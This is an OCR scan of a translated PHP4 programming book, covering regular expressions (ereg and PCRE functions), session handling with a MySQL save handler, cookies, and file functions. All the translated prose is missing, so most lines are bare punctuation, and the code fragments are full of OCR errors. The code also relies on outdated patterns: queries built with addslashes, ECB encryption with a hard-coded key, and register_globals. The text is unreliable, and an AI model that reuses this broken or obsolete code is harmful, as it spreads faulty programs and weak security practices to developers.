"[~xyz]"
"[~xyz]" , ,
z. axyz .
, " , ;
, .
+, *, ?, (qualifiers). ,
:
"+" , . xyz
axxyz , ayz - .
"*" , . xyz
, ayz axxyz.
"?" , . xyz
, ayz, - .
(bounds) - , . ,
:
"ab{3}" , .
"at>{3,}" , ,
.

233

"ab{3, 5}" , .

, :
"x(yz)* , , yz.
,
:
"z(yz){3,5}" , ,
yz.
,
:
. . ".[0-9]"
, ,
. , az9, at1 .
" . "~ab" , ab. , " . about,
abbe abhor.
$ . "ab$" , ab. drab, scab wxab "ab$".
, escape-. ,
$, "\$".
(character classes) - , :
"[[ :alnum: ]]" , - , .
"[a-zA-Z_0-9]".
"[[:digit:]]" , . - "[0-9]".
"[[:alpha: ]]" , , .
- "[a-zA-Z]".
, " [." ". ]" . . ,
,
. , ch, " [ [. ch. ] ] *" chchcc.

234

7. , ,

, "[="
"=]" (equivalence class), , , . ( , , "[" ".]".)
, , "[[==]]",
"[[="=]]" "[~]" .
http://linux.ctyme.com/
man/man! 860.htm/.


, :
10000
10,000
10000.00
10,000.00
; ,
. :
0 ,



.
:
-0$"

, :
"-[1-9J[0-9]*$"

" , , . 1 9. [0-9] *, . , [0-9]* ( ). , $ ,


.
(), , , :

235

- () . ?, . :

,
:

. () 1 2 . . , ? ( ). , :

, .
:
str_replace(", ", "", "$currency_value".)
, , :


user_name@my . domain-name, com.
- , @.
, , , (
, ):
"[-a-zA-ZO-9._]"

.
+@:
"+e[-a-zA-ZO-9.]"
:
"(\.[-a-zA-ZO-9]+)"
, :
-([-a-zA-ZO-9._]+@[-a-zA-ZO-9. ]+(\. [-a-zA-ZO-9]+)+)*$"

236

7. , ,


. Wrox Beginning PHP4 (ISBN 1-861003-73-0).


, , PO8IX. POSIX - Portable Operating System Interface ( ). ,
Portable Application
Standards Committee.
http://www.pasc.org/.
()
int ereg(string pattern, string string [, array regs])

string , pattern.
, , , , , regs. , $regs[1]
, ,
$regs[2] , ,
. . A $regs[0] string.
MM-DD-YYYY,
, DD-MM-YYYY
regs:
if (eregC4[0-9]{1,2})-([0-9]{1,2})-([0-9]{4})", $date, $regs)): {
echo("$regs[2].$regs[1].$regs[3]");
} else {
echo("Invalid date format: $date");
I'..;;

ereg_replace()
string ereg_replace(string pattern, string replacement, string string)

string pattern replacement. , .


, . .
:
$num = '10';
Sstring = "Ten Little Indians sitting ...";
Sstring = ereg_replace('Ten', $num, Sstring);

237

echo($string);
/* : 10 Little Indians sitting ...*/;
pattern , replacement
\\,
, . \\0 . .
, .
eregi()
int eregi(string pattern, string string [, array regs])1
e reg (), .
eregi_replace()
string eregi_replace(string pattern, string replacement, string string)

ereg_replace(), , :
$text_with_links = eregi_replace("([[:alnum:]://(["[:space:]]*)([[:alnum:]#?/
&=])", "< href=\"\\1://\\2\\3\" target=\"_blank\">\\1://\\2\\3</a>", $see_also);
$see_also, URL HTML < href= . . . . >.
([[ :alnum: ]]+) , http ftp, mailto. : //. (["[: space: ] ] *) , : //
. ([[ : a l n u m : ]#?/&=]) - , , URL.

. "< href=\" HTML.
\\1 , ,
. \\2 \\3
.
, wxyz://nofile.ece,
www.sanisoft.com/.

split()
array split{string pattern, string string [, int limit])
, s t r i n g , , pattern. limit, limit ,
string:

.
238

7. , ,
$date = "19/Sep/1966 is my date of birth";
// Delimiters may be slash, dot, hyphen or space
$array_date = split('[/. -]', $date, 4);
echo("Day: $array_date[0]; Month: $array_date[1]; Year: $array_date[2]<br>\n");
echo($array_date[3]);

:
Day: 19; Month: Sep; Year: 1966
is my date of birth
,
split() explode() strtok().
splitiQ
array spliti(string pattern, string string [, int limit])
split(), .
sqH-egcase()
string sql_regcase(string string)

, st r i n g .
string,
,
, :
echo(sql_regcase("Wrox Press"));'
:
[Ww][Rr][Oo][Xx] [Pp][Rr][Ee][Ss][Ss]
HTML . :
echo(ereg_replace("<[">]*>","","<b>This is a test</b>"));

HTML . <[">]*> , , <, , >, "[">]*", , , >.



:
if (!eregi(""([-a-zO-9._]-^[-a-zO-9.]+(\.[-a-70-9]-i-)+)*$", femail)) {
!
echpC'Invalid email syntax");
'' '

239

, Perl
3.0.9 Perl-
(PCRE). PCRE , (/).
, - (\). -
, .
PCRE, php :
/php/

,
. - ,
. i:
/PhP/i

:
i
. , /php/i
php, .

PCRE ,
. , #
, , PCRE,
:
/


t
web "web"
;
\b
t
/xi
# - : , i -
\b

,
.

preg_replace().
\\ ,
. , :
$an_html_string = "<> </> <>
,",- </>";
$new_html_string = preg_replaceC7(<\/?)(\w+)([">]*>)/e",

240

7. , ,

strtoupperQ \\2, (. \\). -


< > :
"'\\1'.strtoupper(\2').'\\3'", $an_html_string);
//$new_htmi_string "<> </8>
<> </1)>"
\
, [ [ : a l n u m : ] ] POSIX.
PCRE (. 7.1):
7.1. PCRE

\d
\0
\8
\S

\w
\W


,

,

. (assertion) , ,
. (. 7.2):
7.2.

\
\
\

V
\z



( )
(
)
( )

PCRE
http://www.pcre.org/.
, PCRE
, , PCRE, .

241

preg_match()
int preg_match(string pattern, string subject [, array matches])
subject ,
pattern. matches,
. $matches[0] ,
, $matches[1 ] , , , . .
preg_match_all()
int preg_match_all( string pattern, string subject,
array matches [, int order])
t rue, s u b j ect pattern, false, .
subject , pattern, matches , order. ,
. order :

PREG_PATTERN_ORDER

, $matches[0] , $matches[1] - ,
, , . .

PREG_SET_ORDER
, $matches[0] , $matches[1] -
. .

order , PREG_PATTERN_ORDER. :
$html_string = "<b>I am bold</bxa href=getme.html>Get Me</a>";
preg_match_all("/(<([\w]+)[">]*>)(. *)(<\/\\2>)/", $html_string,
$mat6hes, PREG_PATTERN_OROER);
for ($i=0; $i< count($matches[0] ); $i++) {
, ; ; echo( "matched: :".$matches[0][$i]."\n");
echo("part 1: ".$matches[l][$i]."\n");
echo("part 2: ".$matches[3][$i]."\n");
echoC'part 3; ".$matches[4][$i]."\n\n");
:
matched: <b>I am bold</b>
part 1: <b>
part 2: I am bold
part 3: </b>

242

7. , ,
matched: <a href=getme.html>Get Me</a>
pa rt 1: < h ref=getme.html>
part 2: Get Me
part 3: </a> ;'

HTML, , .
, PREG_SET_ORDER, :
matched: <b>I am bold</b>
part 1: < href=getme.html>Get Me</a>
part 2:
part 3:
matched: <t
part 1: <a href=getme.html>
part 2:
part 3:
matched: b
part 1: a
part 2:
part 3:
matched: I am bold
part 1: Get Me
part 2:
part 3:
matched: </b>
part 1: </a>
part 2:
:' part 3:

preg_replace()
mixed preg_replace(mixed pattern, mixed replacement, mixed subject [, int limit])
subject ,
pattern, replacement.
limit, limit ; l i m i t
-1, . replacement \\.
, eregi_replace(). ,
pattern , , replacement \\, , n- . \\0 .
. , .
preg_replace() . subject , , . pattern replacement, preg_replace()

243

subject. replacement
, pattern, . pattern - , a replacement , pattern.
.
, HTML , , JavaScript VBScript
preg_replace(). :
<?php

$html_block = "<script language='javascript'>


function jobForm_Validator(f)
{
if (f.elements[0].value.length < 3) {
alert('You must type your name and it should be at
least 3 characters long');
f.elements[0].focus();
return(false);
}

:,.

</script>
<title>Job Application</title>
</head>
:
<body bgcolor=FFFFFF>
hi align=center>Job Applicatlon</h1>
// script
$search = array ('"<script[~>]*?>.*?</script>'si",
// html
$replace = ", //Replace with null
""); //Replace with null
$plain_text = preg_replace($search, Ireplace, $html_block);
echo($plain_text);
(. 7.7):
N http: loralhosl ProPHP-l; ChapterO ?/job3.php - Hrtscepe

Jfljxj

Job Application Job Application

. 7.7. HTML

244

7. , ,

"<script[">]*?>. *?</script>
"<script. *>, , , > "<script. *>" , >, , > .
, / preg_replace() replacement , . , replacement
,
, preg_replace().
preg_split()
array preg_split(string pattern, string subject
[, int limit [, int flags]])

sub] ect, ,
pattern. limit, . f l a g s PREG_SPLIT_NO_EMPTY, preg_split()
.
preg_quote()
string preg_quote(string str [, string delimiter])

str :
, ( . \\ + *
? [ " ] $ ( ) { } = ! < > ! : ) delimiter,
.
escape- , PCRE.

, , , .
:


-

8
cookies
cookies ,
. (sessions) . Cookies , .
. PHPLib.
PHPLib ,
, .
4 , PHPLib.
, cookies ,
,
.
:



URL cookies
Cookies
, cookies
, cookies

246

8. cookies

, , .
,
,
. . , , .
.


(, ports collection FreeBSD) , , .
, ,
p h p i n f o . p h p , 2. , , . 8.1.
4, , , , . 4, :
$ ./configure enable-track-vars --enable-trans-sid --enable-register-globals\ [ ]
--enable-track-vars

, GET POST,
, cookies .
$HTTP_ENV_VARS, $HTTP_6ET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS $HTTP_SESSION_VARS.
--enable-trans-sid
--enable-trans-sid ID . URL.
ID GET URL
POST cookies ( ).
. , cookies.
php.ini.

247

-php - Netscape 6

"" m

File Edit Sew Search So Bookmarks lasks tjelp

Puc. S.I. , phpinfo.php


--enable-register-globals
, GET, POST, cookie (EGPCS) . , --enable-register-globals ,
username , , $HTTP_SESSION_VARS[' username']. , $username, ,
. php. ini.
PHP 4.0 beta 2 --enable-register-globals
p h p . ini, register_globals.
on off (
4.2.0. ).

php. ini.

248

8. cookies

,
, ,
, .
,
( , ),
URL , cookies.


- , , . , , - (
php. ini) , .
session_start(), t r u e false. ,
ID (SID), SID. SID,
, .


boolean session_start();

.1 ,
, ,
, cookies . session_start(), . session_register() - , t r u e false
.
UNIX- /tmp/.
, p h p . i n i .
Windows .


boolean session_register(mixed name [, mixed ...])
session_register("username") , .
$username session_register()
, register_globals .
$HTTP_SESSION_VARS $_SESSION ( 4.1.0)
register_globals. - . ..

249

username. 1 , session_register(),
, .
session_register() ,
( - variable variables). :
<?
$os = "BSD";

session_register($os);

/ "BSD"

$name = "devon";
Sdevon = "my name";
session_register($name);
?>

// "devon" " name"

, :
<?php
session_start();
$user = "dodell";

// 1
//

// "user" ,
if (session_register("user")) {
echo("User field set to $user.");
} else {
echo("Could not set the session variable!");

4.2.0, .
session_register() , ,
, register_globals . , , 4.2.0, $_SESSION. , session_register("username") register_globals
$_SESSION[' username' ] = Susername (, Susername ; , Susername ,
- , ). , session_register ,
. - . . .

8. cookies

250

sessi.on1.php
session2. php, :
<?
session_start();
echo("Welcome tO:the user area, $user!");

'

session"!. p h p (. 8.2):
:N htlp:

loi:allmst.ProPHP4/Chapter08/session)
S> BK*rks tasks Help

SijEP *

User field set to doddl.


Document! Done (0.53 sees)

. 8.2. session!.php
, . ,
p h p . ini .
session2. php, (. 8.3):
ProPHP-l/ChapterOe/sesstaftf
|dlt Sflew Search go Bpotonarks tasks

Welcome to the user area, dodeH!

Puc. S.3. session2.php


ID cookie,
.

, cookies,
.
--enable-trans-sid php.ini.
, action : action="[page]. php<?=SID?>". SID,
5ID , act ion .

251



MySQL. 2 ,
MySQL, 17
MySQL.
,
.
.
,
.
MySQL :



,


, . MySQL :
mysql> CREATE DATABASE sessions;
mysql> GRANT all ON sessions.* TO sessionmanager@localhost
IDENTIFIED BY 'sessionmanager';
mysql> USE sessions;
mysql> CREATE TABLE sessions
(
session_key CHAR(32) NOT NULL,
session.expire INT(11) UNSIGNED NOT NULL,
session_valueTEXT NOT NULL,
PRIMARY KEY (session_key)

":"'V"<:: ;r;'':;''': ;

session
sessionmanager . sessionmanager.
MySQL sessions .
sessions , , .

252

8. cookies

PHP handler, php, ,


:
<?php
$HOST = "localhost";
$DBNAME="sessions";
$USER = "sessionmanager";
$PASS = "sessionmanager";
session_start();

'

// / MySQL, , //
, php.ini

SHANDLER = ;

SLIFETIME = get_cfg_var("session.gc_maxlifetime");

, session. save_handler user, a magic_quotes_gpc


on p h p . i n i . , , .
. ,
, , .
, ,
:
sessionOpenQ. $sess_path $session_name, , .
sessionClose(), . sessionCloseO session_destroy(), .
sessionRead(), - .

sessionWrite().
sessionGcO,
. ,
.
.
sessionOpen()
, :
function sessionOpen($save_path, $session_name)
{
global $HOST, $DBNAME, $USER, $PASS, SHANDLER;

253
if (!$HANDLER = mysqi_pconnect($HOST, $USER, $PASS)) {
echo("<li>Can't connect to $HOST as $USER");
echo("<li>MySQL Error: ", mysql_error());
die;

if (! mysql_select_db($DBNAME, SHANOLER)) {
echo("<li>We were unable to select database SDBNAME");
die;
} :'
.,;. -. ;.-.- -
return true;

:-'t

.....

, PHP
$save_path $session_name , , .
,
sessionClose( ) :
;:; function sessionCloseQ

"{

" return

true;

'

''
'

sessionRead() , . , SELECT , :
function sessionRead($session_key)
{

.-.:.

global Isession;
$session_key = addslashes($session_key);
$session_session_value =
mysql_query( "SELECT session_value
FROM sessions WHERE session_key = '$session_key'")
or die(db_error_message());
if (fflysql_nurorows($session_session_value) == 1) {

return mysql_result($session_session_value, 0);


} else {
return false;

.
INSERT.
, , ,

254

8. cookies

UPDATE. ,
php.ini:
function sessionWrite($session_key, $val)
{
global Ssession;
$session_key = addslashes($session_key);
$val = addslashes($val);
$session = mysql_result(mysql_query( "SELECT COUNT(*) FROM sessions
WHERE session_key = '$session_key'"), 0);
if (Ssession == 0) {
Sreturn =
mysql_query(" INSERT INTO sessions
(session_key, session_expire, session_value)
VALUES ('$session_key',
UNIX_TIMESTAMP(NOW()), ;$valT)
or die(db_e'rror_message());
} else {
$return = mysq_lquery( "UPDATE sessions
SET session_value = '$val',
session_expire = UNIX_TIMESTAMP(NOW())
WHERE session_key = '$session_key'")
or die(db_error_message());
if (mysql_affected_rows() < 0) {
echo("We were unable to update session
session_value for session $session_key");' ?i:
return $return;


:
function sessionDestroyer($session key)
{
global Ssession;
addslashesO ,
, . . - ( ' ), ("), (\) NULL ( ):
$session_key = addslashes($session_key);
$return = mysql_query( "DELETE FROM sessions
WHERE session_key = '$session_key'")
or die(db_error_message());

255
return $ return;

' ' /-,:,

- ,
- . , ,
:
function sessionGc (Smaxlifetime)
{
global Ssession;
SexpirationTlme = time() - Smaxlifetime;
$return = mysql_query( "DELETE FROM sessions WHERE session_expire <
SexpirationTime") or die(db_error_message());
return $return;
session_set_save_handler(
'sessionOpen',
'sessionClose' ,
'sessionRead',
'sessionWrite',
'sessionDestroyer',
'sessionGc'


.
, , , - , . session_start( ), .
session _test. p h p :
include( "handler. php");
session_start();
session.. register( "count");
$count++;
// ,
//
if (Saction == "destroy") {

8. cookies

256

sessionDestroyer()
. ,
.

session_destroy();
} elseif ($action == "gc") {
// ,
//
// .
Smaxlife = get_efg_var("session,gc_fflaxlifetime");
sessionGc($maxlife);
} elseif (!$action) {

echo("No action specif ied<br>");


} else {
echo("Cannot do Saction with the session handlers<br>");

<html>
<head>
<title>Session Test Functions</title>
</head>
<body>Action : <bx?=$action?x/b><br>
Count: <b><?=$count?x/b><brxp>
<form action="<?=$PHP_SELF?>" method="POST">
<table border=0>
<tr>
<td>Action:</td>
<td>
<select name="action">
<option value="destroy">Destroy</option>
<option value="gc">Force Garbage Collection</option>
</select>
</td>
</tr>
<tr>
<td></td>
<td><brxinput type="submit"x/td>
</tr>
</table>
<center>Hit refresh to increment the counter</center>
</form>
</body>
</html>
, , ( ).

URL

257

4 -
/tmp/ ( Windows) C:\WINDOWS\TEMP\. , ,
. . .
, , session_register() ( ), , .
cookies . cookies, sessionOpen(). URL.


:
URL
cookies

URL
, .
, , ,
. , , .
, SID URL, , , URL

.
URL .
cookie cookies.
, HTML 4.0
JavaScript, , , cookies
, cookies.

93. 989

8. cookies

258


cookies URL,
.
, IP- . IP,
:
if (!$session_is_ registered "SipAddr")) {
SipAddr = $REMOTE_ADDR;

session_register($ipAddr);

}
if (lipAddr != $REMOTE_ADDR) {

echoC'Hijacked Session!");

, , -, IP- - ,
.
. - HTTP X_FORWARDED_FOR,
. , -:
if (getenvC'HTTP.X.FORWARDED.FOR'1)) {
SipAddr = getenv(HTTP_X_FORWARDED_FOR);
} else {
SipAddr = $REMOTE_ADDR;
>
session_register($ipAddr);
- -, , , . , cookies.

, , ,
URL , cookies.

Cookies
Cookies , . , .

Cookies

259

, -
, .
cookies
,
. Cookies ,
,
. , ID .
, cookies - , =, URL. URL
, cookie .
. , cookies; , . 300 cookies, 20 . ,
, cookies .


Cookies , . , , a cookies .
cookies
, . .
cookies
, IP- . , cookies ,
. cookies
, . . , , cookie. ,
, ,
.
cookies , . .

cookies
PHP cookies.
Cookies, , .
cookie stereo, System,

260

8. cookies

, cookie,
$stereo System. , cookie,
, .
, cookie,
:
$login -

$HTTP_COOKIE_VARS["login"]- cookies,
cookie. , cookie, GET POST ( $HTTP_GET_VARS
$HTTP_POST_VARS )1
cookies cookie . cookie ,

. cookies,

cookies .
cookies ,
. - cookie :
(: 05/10/2005, 18:59:00 Greenwich Mean Time, GMT)
(: /user_section)
(: yourserver.com)
( HTTPS)


, cookie . cookie ,
-. , cookie .2


path , cookie. URL , , cookie, , $_1, 4.1.0. cookies , register_globals . -. ..
cookies ( )
. - . . .

Cookies

261

okie . cookie
cookie .
cookie /user_section/, URL http://www.sitetronics.com/'user_section/macdonald ,
cookie. cookie /user_section,
, cookie. , , , /user_section .
cookie /,
, cookie, . , cookie . , , /user_section/cookie. php.
, cookies .


,
, cookies.
cookies , , , www.sitetronics.com/.
, cookie ,
, , sitetronics.com.
cookie .
, cookies :

, ..
www.yourdomain.com

( , URL), , www.yourdomain.com,
wwwl.yourdomain.com . .
, cookie
. , cookie
HTTP;
HTTPS. , cookie , , , . cookies
. , ,
cookie .
(. 8.1).

8. cookies

262
8.1. cookie


cookie
, cookie (, /user_secti/) , ,
cookie
, cookie

, cookies
cookies , .
cookie accesses , .
cookie, $accesses.
, , cookie:
<?php
$accesses++;
setcookie( "accesses", Saccesses);
<html>
Thank you for visiting my site. You've seen this page
<?php
echo($accesses);
if ($accesses == 1) {
echo(" time! ");
} else {
echo(" times! ");
}
;

?>

. ,

. ;; ;.; . '.

. '.. };: :

</html>
(. 8.4):
GPHP4/ChapterQ8/atce*ee,php
0e get View Search o Bookmarks tasks 1

;| Thank you for visiting my site. You've seen this page 2 times!
Document! Dona (0,25 sees)

. 8.4. cookie

Cookies

263

, 1, . , Saccesses
. $accesses, PHP
0, .
, setcookie(), cookies.
cookie, accesses, cookie accesses. cookie accesses , .

setcookieQ
int setcookie(string cookiename [, string value] [, integer lifetime]
[, string path] [, string domain] [, integer secure])

cookiename

cookie,
; $cookiename.
value

, cookie cookiename, $cookiename.


lifetime
(1 1970 ), cookie .

path

, cookie. ,
cookie ,
. ,
/path/to/filename.php, , /path/to/filename.php-di rectory/evil-script, php, cookie.

domain

, cookie.

secure

, cookie HTTPS.
0, cookie HTTP.
cookie, . , , cookie, - , , =,
cookie.
setcookie() - , cookie
- ,
header(), , -

264

8. cookies

- .
, cookies .
,
:
Putting text here will force a header of Content-type: text/html, causing the
cookie to result in error. ( ,
Content-type: text/html, cookie).
<?php
$accesses++;
setcookie( "accesses", Saccesses);

?>

<html>
Thank you for visiting my site. You've seen this page
<?php
echo($accesses);
if ($accesses == 1) {
echo(" time! ");
> else {
echo(" times! ");

</html>

(. 8.5):

Bte &ft Sew Search 5

Bookmarks

Tasks Help

Putting text here will force a header of Content-type: text/html to be sent, causing the cookie to result in error.
Warning: Cannot add header information - headers already sent by (output started at
C:\ProPHP4\Chapter08\accesses_rrror.php:5) in C:\ProPHP4\Chaptei08\accesses_error.php on line 7
Thank you for visiting my site. You've seen this page 3 times!
Document: Done (0.221 sees)

'

".Up"!

Puc. 8.5. Cookie -

,
. ,
.
cookie

cookie, . cookies
,

Cookies

265

cookie . , , ,
.
.
, ,
:
int time()
.
int mktime([int hour] [, int minute] [, int second] [, int month]
[, int day] [, int year] [, int is_dst]);
. is_dst , Daylight Saving Time. -1, . . .
is_dst 1,
Daylight Saving Time, 0, .
, :
<?
// cookie
// , 1800
setcookie("my_cookie", $value, time() + 1800);
// cookie 10 2005
setcookie("my_cookie", $value, mktime(Q,0,0,05,10,2005));
// cookie 6:59 10 2005
setcookie("ray_cookie", $value, mktime(18,59,0,05,10,2005));

cookie :
cookie
cookie . cookie .
,
, cookie .
, /user, PHP
/user, php, /user/index, php /userl/index. html
. cookie
user :
setcookie("my_cookie", $value, time() + 3600, "/user/");

266

8. cookies

, cookie.
setcookie( ):
setcookie("my_cookie", Svalue, time() + 3600, "/user/page. php");

. cookie , , /user/
page, php-dir/evil. php. cookies me rypt_encrypt() mcrypt_decrypt(). :
<?php
//
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256,
MCRYPT_MODE_ECB)( MCRYPT_RAND);
//
$key = "e46c7932ece519f2dOce983614d5dfc4";
//
Scookietext = "dodell";
$cipher = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key,
Scookietext, MCRYPT_MODE_ECB, $iv);
//setcookie
setcookie("username", Scipher, mktime(0,0,0,05, 10,2005), "/login. php");
, login. php:
<?php

//
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256,

MCRYPT!MODE_ECB), MCRYPT_RAND);

// cookie
$valid_user = mcryptjJecrypt(MCRYPT_RIJNDAEL_256,
"e46c7932ece519f2dOce983614d5dfc4", $username, MCRYPT_MODE_ECB, $iv);
//
echo( "Welcome Back $valid_user");

, cookies, . , .

(tail match). ,

Cookies

267

, cookie.
, domain.com, domain.com, yourdomain.com anything.mydomain.com. , , ,
. , , wwwl.yourserver.com www2.yourserver.com, cookie:
setcookie("my_cookie", Svalue, time() + 3600, "/user/", ".domain.com");

, thing.domain.com/user/, cookie Scookie.


cookie, , . HTTP , .
cookie . , setcookieO
, . . 1:
setcookie("my_cookie", Svalue, time() + 3600, "", "https.server.com", 1);
'/
setcookieO (
cookie), . ,
, , ,
, 0.
cookie , :
setcookie("ffly_cookie", "value", 0, "/user/index.php", ".siJetronicS.com");
, 0 .
, :
setcookie("mycookie", "value", 0, "/user/index.php", ".sitetrortics.com", 0)

cookie
cookie, setcookie()
cookie, :
setcookie("my_cookie");
cookies cookies. $HTTP_COOKIE_VARS.

8. cookies

268
cookie:

Setcookie("cookie", , 0, "/user/index.php", ".sitetronics.com");


, cookie , ( 24 ):
setcookie("my_cookie", $value, time() - 86400);

cookie
PHP ,
cookie. cookies cookie[0], cookie[1], cookie[2] ..

, .
cookie
. cookies
cookie[0] cookie[1]:
<?php
// ,
if (Ssubmit) {
// cookie ,
if (!$my_cookie[0]) {
setcookieC'my cookie[OJ", Susername);
// cookie- .
$my_cookie[1]++;
setcookie( "my_cookie[ 1 ] " , $cookie[ 1 ] ) ;
// ,
// .
echo ("Welcome back to my page, $my_cookie[0]! You've been here"
$my_cookie[1] . ($my_cookie[1] ==1 ? " time!" :'.," times!"));
} else {
?>.'.'
<form action="<?=$PHP_SELF?>" method="POST">
Username: <input type="text" name="username" /xbr />
<input type="submit" name="submit" value="Log In">

</form>
<?php'

. 8.6.
cookie :

Cookies

269

<?php
if (Ssubtnit) {
// cookie,
setcookie("user_cookie", stripslashes($username));
// cookie .
header ("Location: $PHP_SELF"); ,

if ($user_cookie) {
<html> Welcome back, <strong>
<?php echo stripslashes($user_cookie) ?></strong>!
<? } else { ?>
<form method="post">
Welcome, visitor. We strive to be as user-friendly as possible, so if
you'll please leave us ; your name, we'll kindly greet you on your next
visit!
<P>
Your name:
<input type="text" name="username"><br><input type="submit"
value="Send Me!" name=submlt>
</form>
</html>
* http: lotalhost. ProPHP4/Chapter08/name coo
Edit Sew Search go Bookmarks tasks Help

i Welcome back to my page, Devon! You've been here 1 time!

. 8.6. cookie
(. 8.7)
sN http: localhosti ProPHP4/Chapter08/name cookle.php - Netscape 6

Welcome, visitor. We strive to be as user-friendly as possible, so if you'll please leave us your name, we'll kindly greet
you on your next visit!
I Your name: |
.SandMer j

Pocum.r,li Don. (Q.24 stcs)

Puc. 8.7.

270

8. cookies

Send Me! . ( ) (. 8.8):


o*t/ProPHP4. Chapter08/name
,*-6* Sew Search So Bookmarks lasks (jelp

I Welcome back, Devon!

Documtr^i Corn 9 ikij

. 8.8.

, cookies
setcookie( ) . cookie ,
.
, HTML, , cookie.
<html>

Putting text or HTML tags here will force actual page content to be sent,
causing the cookie to .result in error,

<?php
$access++;
setcookie( "access",
$access);
'

'

Thank you for visiting my site. You've seen this page


<?php
echo($access);
if (laccess == 1) {
echo(" time!");
' } else {
.
echo(" times! ");
</html>

, ,
, cookies,
header( ).
(. 8.9).

271

Cookies
$& http://locaJhost/ProPHP4/Chapter08/setcook!e error-php - Netscape 6
Fb Edit ^ew Search 50 Bookmarks Isks Hdp

Putting text or HTML tags here will force actual page content to be sent, causing the cookie to result in error.
Warning: Cannot add header information - headers already sent by (output started at
c:\prophp4\chapter08\setcookie_error.php:6) in c:\prophp4\chaptei08\setcookie_error.php on line 8
Thank you for visiting my site. You've seen this page 1 time!

. 8.9. cookie - HTML

, , HTML
setcookie(). ,
- require() include(), .
, p h p . i n i to_prepend,
require().
register_globals,
cookies cookie (. . $okie). cookies $_OKIE_VARS[' cookiename' ]. , p h p . i n i .
- cookie.
cookie -. , a-z, A-Z, 0-9, (-) (_),
.
, setcookie("my. initials", " d . h . o . " ) cookie my_initials. , cookie $my_initials, " d . h . o . " .
cookies, . - cookies , , ,
cookies ,
cookies. :
<?php
// cookies nu :
// 1 - cookie
// 2 -
// 3 - , cookie
// 4 -
if (!$cookie) { :
.// ,

272

8. cookies
// cookie.
header (" Location: $PHP_SELF?cookie=V);

;:

// cookie, test.
setcookieC'test", "1");
} else {
// , cookie
if (JStest) {
// cookie
echo (", cookies .");
} else {
// cookie , cookie.
header ( "Location: http://yourserver.com/next.php");


. :
string session_save_path( [string path])
, .
, , :
boolean session_is_registered(string )
true, , false :
array session_get_cookie_params( )

, cookie . lifetime ( cookie), path ( ,


cookie), domain ( cookie ) secure (, cookie
):
void session_set_cookie_params(int lifetime [, string path
[, string domain]])
, , cookie.
cookie .
boolean sesslon_decode(string data)

273

, , , / .
string session_encode

.
URL (
) .
string session_cache_limiter([string cache_limiter_string])

, . ,
. , nocache
. ,
private () .

cookies
, . , .
, , URL
.

9

, , : .
, , . ,
, , , , , . ,
firstname, lastname, employeeid salary.
.
, ,
.
:
,

,

- , , . , C:\temp\textfile.txt
Windows /private/user/textf ile UNIX.
Windows (/), (\) ,

275

.
fileSeparator, . (/) , .

:

/


f ()
. HTTP FTP. :
int fopen(string filename, string mode [, string use_include_path])
filename .
filename , , .
, , .
(. 9.1):
9.1. mode fopenf )

W+



. . ,

.
,
. . ,

. . ,

/
, Windows,

276

9.

, include_path. include_path p h p . ini.


f open ( ) , - false. (file handle) . , ,
. .
: \temp\j ob . j pg :
if (! ($fp=fopen("c:/temp/job. jpg", "rb"))) {
printf( "Could not open file job.jP9")l


int fclose(int fp)
f close( ) . f p
, . t r u e false .
, , . ,
.


int fpassthru(int fp)

f passthru( ). , , . fp .
true false .
, , .
readf ile( ), fpassthru(). : \temp\j ob . j pg:
if (!($fp=fopen("c:/temp/job.jpg", "rb"))) {

printf ("Could not open file job. jpg");


} else { fpassthru($fp);

Int readfile(string filename)

277

readf ile( ) ,
. t rue false .


string fread(int fp, int length)

\
f read ( ) .
f read () length
f . , , .

. , f .
:
if ( ! ($fp =:::fopen('-a.txt",f: "r"))( {
printfC" Could' not Open file a. txt");
} else { .' ::'' '
'.' v ...;.
while ({buffer = fread($fp, 100)) {
..'.// ri

string fgetc(int fp)


f getc( ) . , , .
, false ( ):
string fgets(int fp, int length)
fgets( ) , , length-1 . ,
length-1 . :
string fgetss(int fp, int length [.string allowable.tags])
f getss( ) f gets( ) , HTML . allowable_tags
, . ,
.
array file(string filename [,int use_include_path])

278

9.

fileO f i l e n a m e . , ,
( ).
f i l e () .
, ,
, .
a. txt HTML:
<html>

'

':4 ..... , ;

<headx/head>
!:>

: <00dy>

<?php
if (!($fileArray = file("a.txt"))) {
printf(" could not read a. txt file");

for ($1=0; $i < count($fileArray); $i++) {


printf("%s<br>", $fileArray[$i]);

-''

.
</body>
</html>


f puts( ) fwrite( ). :
int fputs(int fp, string stringtoWrite [,int length]);
int fwrite(int fp, string stringtoWrite [,int length]);

, f , , . , stringToWrite, , .
, . , . true, - false.
(


.
:
int rewind(int fp)
rewind() . f .
t rue false .
int fseek(int fp. int offset [, int whence])

279

f seek( )
. f p .
whence :

SEEK.SET

offset .

SEEK_CUR

offset.

SEEK_END

offset.
.
whence SEEK_SET. fseek()
t r u e false .
int ftell(int fp)
.
int feofdnt fp)
f e o f ( ) ,
. true, fp
, false.
feof ( ) :
while (feof($fp)) {
$buffer = fread($fp, 1024);

,
,
.
API , , :
int copy(string source, string destination)

source destination. true


false .
int rename( string oldname, string newname)
oldname newname. true
false .
int unlink(string filename)

u n l i n k ( ) . true false .

280

9.

UNIX .
, . , ,
.
,
. , (),
, , , .


, :
int file_exists(string filename)
file_exists() , .
t rue, , false :
int fileatime(string filename)
f ileatime() ,
int filectime(string filename)
filectimeO , .
int filemtime(string filename)
filemtimeO .
int filesize(string filename)
f ilesize() .
string filetype(string filename)
f iletype() . f iletype() (. 9.2):
9.2. , filetypef)

fifo

FIFO ( )

char
dir
block

link

file
unknown

281

void clearstatcache(void)

, ,
. , . , clearstatcache().
, . :
boolean
boolean
boolean
boolean

is_dir(string filename)
is_executable(string filename)
is_file(string filename)
is_link(string filename)

true, ,
, :
boolean is_readable(string filename)
boolean is_writable(string filename)
is_readable() is_writable() ,
.

.

, . API PHP
.
int chdir(string directory)


chdi r(). , , .
string getcwd()

getcwd(). .
int opendir(string path)

. d i r ( ) , path.
(handle) ,
.
string readdir(int dir)

282

9.

,
readdir(). r e a d d i r ( ) , .
, false.
" . " " . . " . " . " , " . . " .
, " . " :
$dir = opendir(". ")
,
:
void closedir(ldir)
temp/ ,
:
<html>
<head></head>
<body>
<?php
function cleanTemporaryFiles($di rectory)
:
$dir = opendir($directory);
:
while (($file = readdir($dir))) {
, ,
:
if (is_file($directory . "/" $file)) {
SaccessTime = fileaTime($directory . "/" .$file);
$time = time();
